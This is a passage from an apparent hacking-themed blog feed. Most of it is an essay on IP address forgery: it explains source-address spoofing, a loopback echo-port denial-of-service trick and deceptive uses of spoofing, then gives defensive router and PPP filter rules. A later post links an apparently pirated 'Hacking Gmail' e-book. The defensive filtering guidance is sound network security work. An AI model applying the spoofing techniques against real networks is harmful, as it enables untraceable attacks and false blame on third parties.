/&gt;      commonly found in host-to-host protocols. The internet protocol&lt;br /&gt;      can capitalize on the services of its supporting networks to&lt;br /&gt;      provide various types and qualities of service.&lt;br /&gt;&lt;br /&gt;  Here's a description of an IP datagram, also from RFC791:&lt;br /&gt;&lt;br /&gt;   0                   1                   2                   3&lt;br /&gt;   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1&lt;br /&gt;  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;br /&gt;  |Version|  IHL  |Type of Service|          Total Length         |&lt;br /&gt;  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;br /&gt;  |         Identification        |Flags|      Fragment Offset    |&lt;br /&gt;  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;br /&gt;  |  Time to Live |    Protocol   |         Header Checksum       |&lt;br /&gt;  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;br /&gt;  |                       Source Address                          |&lt;br /&gt;  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;br /&gt;  |                    Destination Address                        |&lt;br /&gt;  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;br /&gt;  |                    Options                    |    Padding    |&lt;br /&gt;  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;br /&gt;  |                             data                              |&lt;br /&gt;  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;br /&gt;  |                             data                              |&lt;br /&gt;  \                                                               \&lt;br /&gt;  \                                                               \&lt;br /&gt;  |                             data                              |&lt;br /&gt;  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;br /&gt;  |             data              |&lt;br /&gt;  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;br /&gt;&lt;br /&gt;                    Description of an IP Datagram&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Note that the 4th line of the description calls for the Source Address&lt;br /&gt;  of the datagram. In the simplest form of IP address forgery, the&lt;br /&gt;  forger only needs to create a packet containing a false Source Address&lt;br /&gt;  and insert it into the Internet by writing it into the output device&lt;br /&gt;  used to send information to the rest of the Internet. For the&lt;br /&gt;  non-expert forger, there is a tool called iptest which is part of the&lt;br /&gt;  free and publicly available ipfilter security package that&lt;br /&gt;  automatically forges packets for the purpose of testing configurations&lt;br /&gt;  or routers and other IP security setups.&lt;br /&gt;&lt;br /&gt;  The infrastructure of the Internet consists primarily of a set of&lt;br /&gt;  gateway computers and packet routers. These systems have multiple&lt;br /&gt;  hardware interfaces. They maintain routing tables to let them decide&lt;br /&gt;  which output interface to send a packet out on based on the input&lt;br /&gt;  interface that it came in on and the destination IP address specified&lt;br /&gt;  in the packet. When a forged packet arrives at an infrastructure&lt;br /&gt;  element, that element will faithfully route the packet toward the&lt;br /&gt;  destination address, exactly as it would a legitimate packet.&lt;br /&gt;&lt;br /&gt;How Can IP Address Forgery Be Used&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  At its root, IP address forgery is a method of deception, and thus it&lt;br /&gt;  can be used in much the same way as other forms of deception.&lt;br /&gt;  Dunnigan95 More specifically, and using Dunnigan and Nofi's&lt;br /&gt;  classification scheme, here are some quick ideas about how IP address&lt;br /&gt;  forgery might be used:&lt;br /&gt;    * Concealment: IP address forgery is commonly used to conceal the&lt;br /&gt;      identity of an attacker, especially when denial of services is the&lt;br /&gt;      goal of the attack.&lt;br /&gt;    * Camouflage: IP address forgery is used to make one site appear to&lt;br /&gt;      be another as a way to convince the victim, for example, that an&lt;br /&gt;      attack is from a University, when in fact it is from a competitor.&lt;br /&gt;    * False and Planted Information: IP address forgery can be used to&lt;br /&gt;      create the impression that a particular site is acting maliciously&lt;br /&gt;      in order to create friction or lead a defender to falsely accuse&lt;br /&gt;      an innocent third party.&lt;br /&gt;    * Reuses: IP address forgery can be used to support another activity&lt;br /&gt;      designed to gain the confidence of the defender. For example, a&lt;br /&gt;      salesperson for information security products could create IP&lt;br /&gt;      address forgeries in order to convince a client of the need for&lt;br /&gt;      their services.&lt;br /&gt;    * Displays: IP address forgery has been used in order to lead&lt;br /&gt;      defenders to believe that many sites are participating in an&lt;br /&gt;      attack when in fact only a small number of individuals are&lt;br /&gt;      responsible.&lt;br /&gt;    * Demonstrations: IP address forgery has been used to demonstrate a&lt;br /&gt;      potential for untraceable attacks as a way to convince defenders&lt;br /&gt;      not to try to catch attackers.&lt;br /&gt;    * Feints: IP address forgery can be used to try to fool an enemy&lt;br /&gt;      into believing that an attack is coming from outside or from a&lt;br /&gt;      particular direction, when the real attack is very different. This&lt;br /&gt;      is a way to misdirect the enemy into spending limited resources in&lt;br /&gt;      the wrong way.&lt;br /&gt;    * Lies: IP address forgery has been used to create a more convincing&lt;br /&gt;      lie that somebody known to the defender is communicating with them&lt;br /&gt;      about a particular matter.&lt;br /&gt;    * Insight: IP address forgery can be used to gain insight into how&lt;br /&gt;      an opponent reacts and as a sort of probe to determine what sorts&lt;br /&gt;      of responses are likely to arise.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Another way to view this issue is in terms of the net effect on&lt;br /&gt;  information in information systems. Here is another way of viewing&lt;br /&gt;  this issue with an example from each category.&lt;br /&gt;    * Corruption of Information: IP addresses are often used as the&lt;br /&gt;      basis for Internet control decisions. For example, DNS updates are&lt;br /&gt;      often designated as coming only from specific other servers. With&lt;br /&gt;      IP address forgery, the entire DNS system could be corrupted,&lt;br /&gt;      causing services to be rerouted through enemy servers.&lt;br /&gt;    * Denial of Services: The Internet is basically a fragile network&lt;br /&gt;      that depends on the proper behavior and good will of the&lt;br /&gt;      participants for its proper operation. Without wide-ranging&lt;br /&gt;      changes to the way the Internet works, denial of services is&lt;br /&gt;      almost impossible to prevent. For example, the same DNS attack&lt;br /&gt;      could be used to cause widespread denial of services, or perhaps&lt;br /&gt;      even to create loops in the packet delivery mechanisms of the&lt;br /&gt;      Internet backbone.&lt;br /&gt;    * Leakage of Information: Forged IP addresses can be used to cause a&lt;br /&gt;      host to take orders for the delivery of information to enemy sites&lt;br /&gt;      by forging authorization as if it were from a legitimate&lt;br /&gt;      authorizing site.&lt;br /&gt;    * Misplaced Liability: Forged IP addresses could be used, as&lt;br /&gt;      described above under False and Planted Information, to cause&lt;br /&gt;      defenders to assert claims against innocent bystanders and to lay&lt;br /&gt;      blame at the wrong feet.&lt;br /&gt;&lt;br /&gt;  These are only some of the examples of what forged IP addresses can&lt;br /&gt;  do. Without a lot of effort, many other examples can be created.&lt;br /&gt;&lt;br /&gt;What Can We Do About It?&lt;br /&gt;&lt;br /&gt;   As individuals, there is little we can do to eliminate all IP address&lt;br /&gt;  forgery, but as a community, we can be very effective. Here's how.&lt;br /&gt;  Instead of having all infrastructure elements route all packets, each&lt;br /&gt;  infrastructure element could, and should, enforce a simple rule. They&lt;br /&gt;  should only route packets from sources that could legitimately come&lt;br /&gt;  from the interface the packet arrives on.&lt;br /&gt;&lt;br /&gt;  This may sound complicated, but it really isn't. In fact, the&lt;br /&gt;  technology to do this is already in place, and always has been.&lt;br /&gt;  Virtually every router and gateway in existence today allows for the&lt;br /&gt;  filtering of packets based on their input interface and IP source and&lt;br /&gt;  destination address. This is a necessary component of their operation&lt;br /&gt;  and is the basis for the way they route all packets.&lt;br /&gt;&lt;br /&gt;  The only change that has to be made is for these routers and gateways&lt;br /&gt;  to enforce the network structure that is legitimately in place. Or in&lt;br /&gt;  other words, the routers and gateways should refuse to route&lt;br /&gt;  ridiculous packets. Here are some of the simpler examples of known bad&lt;br /&gt;  packets:&lt;br /&gt;    * The IP address 127.0.0.1 is ONLY used for internal routing of&lt;br /&gt;      packets from a host to itself. There is no legitimate IP datagram&lt;br /&gt;      that should pass through a router or gateway with this as the&lt;br /&gt;      source address. In fact, routing these packets is dangerous&lt;br /&gt;      because they may be used to forge packets from the localhost which&lt;br /&gt;      often has special privileges. A recent attack that causes denial&lt;br /&gt;      of services involves sending a packet to a host's echo port with&lt;br /&gt;      127.0.0.1 as its source address and the echo port as it's source&lt;br /&gt;      port. The echo port causes whatever packet it is sent to be&lt;br /&gt;      returned to its source. Since the source address is the same port&lt;br /&gt;      on the same host, this packet creates an infinite loop which, in&lt;br /&gt;      many cases, disables the computer.&lt;br /&gt;    * The IP address 0.0.0.0 is not legitimate - full stop. In fact,&lt;br /&gt;      there's really no legitimate IP address that should traverse&lt;br /&gt;      gateways containing a 0 for one of the address elements.&lt;br /&gt;      Unfortunately, many routers use the '.0.' convention in their&lt;br /&gt;      filtering tables to indicate any address from 0 to 255 (the whole&lt;br /&gt;      range), so blocking these packets may be non-trivial in some&lt;br /&gt;      infrastructure elements.&lt;br /&gt;    * The IP specification includes provisions for private subnetworks&lt;br /&gt;      that are designated for internal use only. There is no legitimate&lt;br /&gt;      reason to route packets from these addresses anywhere in the&lt;br /&gt;      general Internet infrastructure. (RFC1597) These address ranges&lt;br /&gt;      include 10.*.*.*, 172.16-32.*.*, and 192.168.*.* (where *&lt;br /&gt;      indicates any value from 0 through 255). No packets should be&lt;br /&gt;      routed through the Internet with these addresses as either their&lt;br /&gt;      source or their destination.&lt;br /&gt;&lt;br /&gt;  The next step in eliminating IP address forgery is for the routers and&lt;br /&gt;  gateways at each type of infrastructure element to enforce standards&lt;br /&gt;  on each interface. Generally, the Internet is broken up into Backbone&lt;br /&gt;  providers that provide wide area packet transport services, Private&lt;br /&gt;  Networks which are owned and operated by companies, institutions,&lt;br /&gt;  government agencies, and other parties for their own purposes, and&lt;br /&gt;  Internet Service Providers (ISPs) that provide connections between&lt;br /&gt;  the backbone elements and private networks (sometimes including other&lt;br /&gt;  ISPs). These roles can be blurred at times, but they are adequate for&lt;br /&gt;  our purposes.&lt;br /&gt;    * Private Networks: Each private network should;&lt;br /&gt;         + 1) prevent all of the known-bad packets from crossing into or&lt;br /&gt;           out of the organization,&lt;br /&gt;         + 2) prevent packets with internal source addresses from&lt;br /&gt;           passing inward,&lt;br /&gt;         + 3) prevent packets with external source addresses from&lt;br /&gt;           passing outward,&lt;br /&gt;         + 4) prevent packets with external destination addresses from&lt;br /&gt;           passing inward, and&lt;br /&gt;         + 5) prevent packets with internal destination addresses from&lt;br /&gt;           passing outward.&lt;br /&gt;    * ISPs: Each ISP should;&lt;br /&gt;         + 1) prevent all of the known-bad packets from crossing into or&lt;br /&gt;           out of their infrastructure,&lt;br /&gt;         + 2) prevent any packet inbound from any of their clients with&lt;br /&gt;           a source address not from that client's assigned address&lt;br /&gt;           range from passing from the client network,&lt;br /&gt;         + 3) prevent any packets with a destination address not in&lt;br /&gt;           their client's address range from passing to the client&lt;br /&gt;           network,&lt;br /&gt;         + 4) prevent any packet not from this ISP's legitimate address&lt;br /&gt;           range from entering the backbone, and&lt;br /&gt;         + 5) prevent any packets originating from the backbone and not&lt;br /&gt;           destined for one of their legitimate IP addresses from&lt;br /&gt;           entering their network.&lt;br /&gt;  Two additional rules will assist the ISP's clients;&lt;br /&gt;         + 6) prevent inbound traffic from the client with the client's&lt;br /&gt;           address as a destination, and&lt;br /&gt;         + 7) prevent outbound traffic to the client with the client's&lt;br /&gt;           address claimed to be the source.&lt;br /&gt;    * Backbone Networks: Each backbone provider should;&lt;br /&gt;         + 1) prevent all of the known-bad packets from crossing into or&lt;br /&gt;           out of their infrastructure,&lt;br /&gt;         + 2) prevent packets originating from any ISP with source&lt;br /&gt;           addresses not in that ISP's range of legitimate source&lt;br /&gt;           addresses from entering the backbone,&lt;br /&gt;         + 3) prevent any packets not destined for an ISP's address&lt;br /&gt;           range from entering that ISP,&lt;br /&gt;         + 4) prevent any packets from any other backbone provider that&lt;br /&gt;           could not be properly routed through that provider from&lt;br /&gt;           entering their backbone, and&lt;br /&gt;         + 5) prevent any packets from going to any other backbone&lt;br /&gt;           provider unless they could legitimately be routed through&lt;br /&gt;           that provider to reach their destination.&lt;br /&gt;  For backbones, this requires some effort, however the high volume of&lt;br /&gt;      information they carry certainly justifies a little effort for&lt;br /&gt;      protection.&lt;br /&gt;&lt;br /&gt;Some Examples &lt;br /&gt;   As an aide to the less technically inclined, the following examples&lt;br /&gt;  provide some real world implementation details.&lt;br /&gt;&lt;br /&gt;  This set of rules applies to a private network (in this case, the&lt;br /&gt;  all.net class C network 204.7.229.*) and are written in the format of&lt;br /&gt;  the Morningstar PPP (point to point protocol) Filter file:&lt;br /&gt;&lt;br /&gt;#       Rule 1 for private networks&lt;br /&gt;#       prevent known-bad address ranges from entering (or leaving)&lt;br /&gt;!172.16-32.0.0                     # private network segment&lt;br /&gt;!192.168.0.0                       # private network segment&lt;br /&gt;!10.0.0.0                          # private network segment&lt;br /&gt;!127.0.0.0                         # localhost network&lt;br /&gt;#       Rule 2 for private networks&lt;br /&gt;#       prevent internal source address packets from passing inward&lt;br /&gt;!recv/src/204.7.229.0              # prevent inbound from our network&lt;br /&gt;#       Rule 5 for private networks&lt;br /&gt;#       prevent internal destination addresses from passing outward&lt;br /&gt;#       Note that rule 5 is placed here because the filters are order dependent&lt;br /&gt;!send/dst/204.7.229.0              # prevent our destinations from passing out&lt;br /&gt;#       Rule 3 for private networks&lt;br /&gt;#       prevent external source address packets from passing outward&lt;br /&gt;send/src/204.7.229.0               # allow legitimate outbound sources&lt;br /&gt;!send/src/0.0.0.0                  # prevent illegitimate outbound sources&lt;br /&gt;#       Rule 4 for private networks&lt;br /&gt;#       prevent external destinations from passing inward&lt;br /&gt;recv/dst/204.7.229.0               # allow legitimate inbound destinations&lt;br /&gt;!recv/dst/0.0.0.0                  # prevent illegitimate inbound destinations&lt;br /&gt;&lt;br /&gt;  The next set of rules applies to an ISP. In this case, we assume that&lt;br /&gt;  the ISP has control over three class B networks that it uses to sell&lt;br /&gt;  services to its clients. The class B networks used in this example&lt;br /&gt;  have IP addresses of 123.7.*.*, 231.6.*.*, and 201.96.*.*. In this&lt;br /&gt;  case, we have three different parts of the example:&lt;br /&gt;&lt;br /&gt;  This is the router connecting the ISP to the backbone, presented in&lt;br /&gt;  the format of a Cisco router with interface 0 connected to the&lt;br /&gt;  backbone and interface 1 connected to the ISP's internal network. It&lt;br /&gt;  implements rules 1, 4, and 5 for the ISP.&lt;br /&gt;&lt;br /&gt;#        Rule 1 for an ISP&lt;br /&gt;#        prevent all of the known-bad address ranges&lt;br /&gt;#        this should be done on all in and out connections&lt;br /&gt;#        on all interfaces in all access control lists&lt;br /&gt;All interfaces in and out&lt;br /&gt;deny ip 172.16-32.0.0              # private network segment&lt;br /&gt;deny ip 192.168.0.0                # private network segment&lt;br /&gt;deny ip 10.0.0.0                   # private network segment&lt;br /&gt;deny ip 127.0.0.0                  # localhost network&lt;br /&gt;&lt;br /&gt;#        Rule 2 for an ISP&lt;br /&gt;#        prevent inbound from client not in client's address range&lt;br /&gt;#        DONE ELSEWHERE&lt;br /&gt;&lt;br /&gt;#        Rule 3 for an ISP&lt;br /&gt;#        prevent entry of packets not destined clients from passing their way&lt;br /&gt;#        DONE ELSEWHERE&lt;br /&gt;&lt;br /&gt;#        Rule 4 for an ISP&lt;br /&gt;#        prevent exit of packets not from our class Bs&lt;br /&gt;#        on interface 0 (backbone) out filter&lt;br /&gt;Interface 0 out&lt;br /&gt;permit ip 123.7.0.0&lt;br /&gt;permit ip 231.6.0.0&lt;br /&gt;permit ip 201.96.0.0&lt;br /&gt;deny   ip 0.0.0.0&lt;br /&gt;&lt;br /&gt;#        Rule 5 for an ISP&lt;br /&gt;#        prevent entry of packets not destined for our class Bs.&lt;br /&gt;#        on interface 0 (backbone) in filter&lt;br /&gt;Interface 0 in&lt;br /&gt;permit ip 123.7.0.0&lt;br /&gt;permit ip 231.6.0.0&lt;br /&gt;permit ip 201.96.0.0&lt;br /&gt;deny   ip 0.0.0.0&lt;br /&gt;&lt;br /&gt;  Next, we implement rules 2 and 3 for each client by creating separate&lt;br /&gt;  (in this example ppp) filters on the ISP's gateway computer. Again,&lt;br /&gt;  using the Morningstar ppp Filter format and assuming that Class C IP&lt;br /&gt;  network 201.96.1.* is assigned to this particular client:&lt;br /&gt;&lt;br /&gt;#       Rule 1 for ISPs&lt;br /&gt;#       prevent known-bad address ranges from entering (or leaving)&lt;br /&gt;!172.16-32.0.0                      # private network segment&lt;br /&gt;!192.168.0.0                        # private network segment&lt;br /&gt;!10.0.0.0                           # private network segment&lt;br /&gt;!127.0.0.0                          # localhost network&lt;br /&gt;#        Rule 6 for an ISP&lt;br /&gt;#        prevent inbound traffic from the client destined for the client&lt;br /&gt;#        note that rule 6 is placed here because filters are order dependent&lt;br /&gt;!recv/dest/201.96.1.0               # prevent inbound from client to self&lt;br /&gt;#        Rule 7 for an ISP&lt;br /&gt;#        prevent outbound traffic to the client claimed to be from the client&lt;br /&gt;#        note that rule 7 is placed here because filters are order dependent&lt;br /&gt;!send/src/201.96.1.0                # prevent outbound to client from client&lt;br /&gt;#        Rule 2 for an ISP&lt;br /&gt;#        prevent inbound from client not in client's address range&lt;br /&gt;recv/src/201.96.1.0                # allow legitimate traffic&lt;br /&gt;!recv/src/0.0.0.0                  # prevent all other traffic&lt;br /&gt;#        Rule 3 for an ISP&lt;br /&gt;#        prevent entry of packets not destined clients from passing their way&lt;br /&gt;send/dest/201.96.1.0               # allow legitimate traffic&lt;br /&gt;!send/dest/0.0.0.0                 # prevent all other traffic&lt;br /&gt;&lt;br /&gt;  Note that redundant protection is provided in several ways. The ISP&lt;br /&gt;  protects the clients from backbone forgery both at the backbone router&lt;br /&gt;  and at the client's ppp connection, and protects the backbone from IP&lt;br /&gt;  forgery emanating from the ISP both by preventing forgery from clients&lt;br /&gt;  and by preventing forgery from within the ISP. Similarly, the ISP&lt;br /&gt;  provides redundant protection against improperly configured client&lt;br /&gt;  hardware and software. The last two filter rules are to assure that&lt;br /&gt;  even if the client is not properly configured to prevent forgery of&lt;br /&gt;  internal addresses from the outside world or to prevent internal&lt;br /&gt;  traffic from being sent out, this traffic is prevented.&lt;br /&gt;&lt;br /&gt;  This last example is a simplification of a wide area backbone network&lt;br /&gt;  in which this particular router (no type specified) is at the junction&lt;br /&gt;  between UK connections and non-UK connections. In this case, it is a&lt;br /&gt;  reasonable assumption that all internal UK traffic should remain&lt;br /&gt;  internal and that external traffic that gets to this node should be&lt;br /&gt;  sent out of the UK never to return. This particular backbone node will&lt;br /&gt;  be connected to non-UK traffic on interface 0, our previously&lt;br /&gt;  described ISP on interface 1, and the rest of the internal UK backbone&lt;br /&gt;  on interface 2.&lt;br /&gt;&lt;br /&gt;#        Rule 1 for a backbone&lt;br /&gt;#        prevent all of the known-bad packets from crossing&lt;br /&gt;all-interfaces prevent in/out 172.16-32.0.0     # private network segment&lt;br /&gt;all-interfaces prevent in/out 192.168.0.0       # private network segment&lt;br /&gt;all-interfaces prevent in/out 10.0.0.0          # private network segment&lt;br /&gt;all-interfaces prevent in/out 127.0.0.0         # localhost network&lt;br /&gt;&lt;br /&gt;#        Rule 2 for a backbone&lt;br /&gt;#        prevent packets originating from any ISP with non-ISP source address&lt;br /&gt;interface-1 allow in from 123.7.0.0                  # ISP traffic&lt;br /&gt;interface-1 allow in from 231.6.0.0                  # ISP traffic&lt;br /&gt;interface-1 allow in from 201.96.0.0                 # ISP traffic&lt;br /&gt;interface-1 prevent in from 0.0.0.0                  # no other inbound traffic&lt;br /&gt;&lt;br /&gt;#        Rule 3 for a backbone&lt;br /&gt;#        prevent packets not destined for an ISP from going there&lt;br /&gt;interface-1 allow out to 123.7.0.0                 # ISP traffic&lt;br /&gt;interface-1 allow out to 231.6.0.0                 # ISP traffic&lt;br /&gt;interface-1 allow out to 201.96.0.0                # ISP traffic&lt;br /&gt;interface-1 prevent out to 0.0.0.0                 # no other outbound traffic&lt;br /&gt;&lt;br /&gt;#        Rule 4 for a backbone&lt;br /&gt;#        prevent packets from other backbones that shouldn't come this way&lt;br /&gt;interface-0 allow in to UK-1                       # UK traffic&lt;br /&gt;interface-0 allow in to UK-2                       # UK traffic&lt;br /&gt;...&lt;br /&gt;interface-0 allow in to UK-n                       # UK traffic&lt;br /&gt;interface-0 prevent in to 0.0.0.0                  # no other inbound traffic&lt;br /&gt;&lt;br /&gt;#        Rule 5 for a backbone&lt;br /&gt;#        prevent packets that should stay in our backbone from going out&lt;br /&gt;interface-0 allow out from UK-1                    # UK traffic&lt;br /&gt;interface-0 allow out from UK-2                    # UK traffic&lt;br /&gt;...&lt;br /&gt;interface-0 allow out from UK-n                    # UK traffic&lt;br /&gt;interface-0 prevent out from 0.0.0.0               # no other outbound traffic&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  In this example, we have assumed that all UK traffic is on IP&lt;br /&gt;  addresses identified as UK-1, ..., UKn.&lt;br /&gt;&lt;br /&gt;What-ifs and Objections&lt;br /&gt;&lt;br /&gt; WHAT IFS?&lt;br /&gt;    * What if a private network ignores the rules? It is to be expected&lt;br /&gt;      than many private networks will ignore any such rules, either&lt;br /&gt;      through ignorance, intent, or inattention. But even if all private&lt;br /&gt;      networks ignored all of the rules, the rules for ISPs would&lt;br /&gt;      prevent IP forgery from extending to the overall infrastructure.&lt;br /&gt;    * What if an ISP ignores the rules? If an ISP ignores the rules and&lt;br /&gt;      allows IP forgery, the backbone can protect the rest of the&lt;br /&gt;      Internet, at least to the point where forged packets within the&lt;br /&gt;      ISP's domain remain within or are traceable to that domain. That&lt;br /&gt;      means that the ISP's clients would be subject to IP forgeries from&lt;br /&gt;      other clients of that ISP, but that the rest of the Internet would&lt;br /&gt;      be able to trace all packets coming from that ISP to that ISP.&lt;br /&gt;    * What if the backbone ignores the rules? If all of the backbone&lt;br /&gt;      providers ignore the rules, unless everyone else follows them, we&lt;br /&gt;      will continue to have IP forgeries through the ISPs that don't&lt;br /&gt;      follow the rules.&lt;br /&gt;    * What if combinations ignore the rules? Depending on the specific&lt;br /&gt;      combinations, we will have more or fewer IP address forgeries. It&lt;br /&gt;      turns out that a complete analysis of this issue is not simple&lt;br /&gt;      enough to do in the space provided, but a simple conclusion can be&lt;br /&gt;      drawn without a full analysis. As more Internet users and&lt;br /&gt;      providers prevent IP address forgery, the job of the forger will&lt;br /&gt;      become harder and harder. We don't all have to participate in&lt;br /&gt;      order to have proper protection, but if we all fail to&lt;br /&gt;      participate, the forgeries will continue.&lt;br /&gt;&lt;br /&gt; OTHER OBJECTIONS&lt;br /&gt;    * Content (common carrier) objections: Many ISPs and backbone&lt;br /&gt;      providers don't want or take responsibility for content in the&lt;br /&gt;      Internet. Just like a telephone company, they don't want any role&lt;br /&gt;      in examining or dictating the content of the messages - they only&lt;br /&gt;      want to be a delivery service. It could be argued that examining&lt;br /&gt;      the address information in an IP packet and preventing packets&lt;br /&gt;      based on those addresses constitutes limitation of content. Of&lt;br /&gt;      course the portion of the content involved here must be examined&lt;br /&gt;      in order to route the information, and the routing used in the&lt;br /&gt;      Internet already provides exclusion of packets based on IP address&lt;br /&gt;      ranges. Furthermore, common carriers (in the U.S.) are allowed to&lt;br /&gt;      listen to and filter traffic to the extent that this activity is&lt;br /&gt;      done solely to assure the proper operation of the network. Thus&lt;br /&gt;      this objection would seem to be moot.&lt;br /&gt;    * The cost is too high objection: In fact the cost is negligible. If&lt;br /&gt;      the rules set forth herein were applied as a normal part of the&lt;br /&gt;      installation and maintenance process, it would come to only a few&lt;br /&gt;      minutes of effort during each installation. Even applying them to&lt;br /&gt;      systems already in place requires only a few minutes of effort,&lt;br /&gt;      again an insubstantial amount of effort well within the discretion&lt;br /&gt;      of any systems administrator.&lt;br /&gt;    * The we don't want restrictions objections: There are a substantial&lt;br /&gt;      number of people that want a total lack of restrictions on&lt;br /&gt;      information flowing through the Internet. I generally agree with&lt;br /&gt;      the principle of free information flow, except in cases where the&lt;br /&gt;      freedom of one person infringes on the freedom of others. This&lt;br /&gt;      impingement on other peoples' rights applies to certain types of&lt;br /&gt;      information, such as routing information, that must be correct in&lt;br /&gt;      order for the Internet to work properly. Since the restrictions&lt;br /&gt;      described here only assure that the Internet works properly and&lt;br /&gt;      don't restrict the content or flow of information, there is no&lt;br /&gt;      restriction of the free flow of information here. Only increased&lt;br /&gt;      assurance that those who want to use the media for legitimate&lt;br /&gt;      purposes will continue to be able to do so.&lt;br /&gt;&lt;br /&gt;Summary  &lt;br /&gt;&lt;br /&gt;  This solution we presented:&lt;br /&gt;    * 1) is easy to implement,&lt;br /&gt;    * 2) makes good sense from a traffic standpoint,&lt;br /&gt;    * 3) allows all legitimate activity without any hinderence,&lt;br /&gt;    * 4) works even if all parties don't participate,&lt;br /&gt;    * 5) costs almost nothing to implement at each site,&lt;br /&gt;    * 6) does not require any changes in existing protocols of traffic&lt;br /&gt;      patterns,&lt;br /&gt;    * 7) makes good sense for the security of each party that&lt;br /&gt;      participates, and&lt;br /&gt;    * 8) can be done today.&lt;br /&gt;&lt;br /&gt;  All that remains is for the people in each of these organizations to&lt;br /&gt;  implement these protections. Unlike so many of the problems in the&lt;br /&gt;  Internet that are hard to solve and will require years of evolution,&lt;br /&gt;  this problem can be solved now. We encourage you to implement these&lt;br /&gt;  protections at your earliest convenience and to urge other to do so as&lt;br /&gt;  well. Together, we can eliminate IP address forgery.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3972538303005912445-3798529266931696607?l=greathacker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/3798529266931696607/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3972538303005912445&amp;postID=3798529266931696607' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/3798529266931696607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/3798529266931696607'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/2007/05/internet-holes-eliminating-ip-address.html' title='INTERNET HOLES - ELIMINATING IP ADDRESS FORGERY'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3972538303005912445.post-8928355512188925690</id><published>2007-05-02T04:26:00.000-07:00</published><updated>2007-05-02T04:39:10.726-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E-Book'/><title type='text'>Hacking GMail</title><content type='html'>&lt;strong&gt;Hacking GMail&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bMyGVxkBo4M/Rjh1xxmFaQI/AAAAAAAAABc/fmyjerrUHr0/s1600-h/51ZAB0JCNDL._BO2,204,203,200_PIsitb-dp-500-arrow,TopRight,45,-64_OU01_AA240_SH20_.jpg"&gt;&lt;img src="http://3.bp.blogspot.com/_bMyGVxkBo4M/Rjh1xxmFaQI/AAAAAAAAABc/fmyjerrUHr0/s320/51ZAB0JCNDL._BO2,204,203,200_PIsitb-dp-500-arrow,TopRight,45,-64_OU01_AA240_SH20_.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5059923679337867522" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;strong&gt;Book Description&lt;/strong&gt;&lt;br /&gt;The first book to unlock the true power behind Gmail, Hacking Gmail will immediately appeal to Google and Gmail fans&lt;br /&gt;This is serious, down-and-dirty, under-the-hood, code-level hacking that will have readers eliminating the default settings, customizing appearance, disabling advertising, and taking control over their Gmail accounts&lt;br /&gt;Covers turning Gmail into an online hard drive for backing up files, using it as a blogging tool, and even creating customized Gmail tools and hacks&lt;br /&gt;Shows readers how to check their Gmail without visiting the site; use Gmail APIs in Perl, Python, PHP, and other languages, or create their own; and maximize Gmail as a host for message boards, photo galleries, even a blog&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;strong&gt;Download Now&lt;/strong&gt;&lt;br /&gt;Click &lt;a href="http://rapidshare.com/files/28876495/Hacking_Gmail__2006_.rar"&gt;&lt;strong&gt;Here&lt;/strong&gt;&lt;/a&gt; to download&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3972538303005912445-8928355512188925690?l=greathacker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/8928355512188925690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3972538303005912445&amp;postID=8928355512188925690' title='285 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/8928355512188925690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/8928355512188925690'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/2007/05/hacking-gmail.html' title='Hacking 